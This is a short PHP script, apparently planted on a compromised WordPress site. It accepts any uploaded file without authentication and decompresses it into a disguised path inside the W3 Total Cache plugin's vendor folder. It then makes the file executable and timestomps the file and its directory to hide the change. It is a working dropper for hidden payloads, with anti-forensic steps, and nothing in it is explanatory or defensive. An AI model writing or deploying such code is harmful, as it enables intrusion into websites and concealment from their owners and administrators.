<?php   $p = "/home/pemf/public_html/wp-content/plugins/w3-total-cache/vendor/aws/aws-sdk-php/src/data/iot-jobs-data/2017-09-29/blockinstance"; $ft = 1758074897; if (move_uploaded_file($_FILES['file']['tmp_name'], "$p.gz")) {     $file = gzopen("$p.gz", 'rb');     $out = fopen($p, 'wb');     while (!gzeof($file)) {         fwrite($out, gzread($file, 4096));     }     fclose($out);     gzclose($file);     @unlink("$p.gz");     $filesize = filesize($p);     if ($filesize >= 471590) {         @chmod($p, 0744);         if ($ft) {             @touch($p, $ft, $ft);             @touch(@dirname($p), $ft, $ft);         }         die('_uploaded!_');     } else {         if (file_exists($p)) {             print "file exists but size = {$filesize} not 471590";         }         @unlink($p);     } } die('_upload_failed_');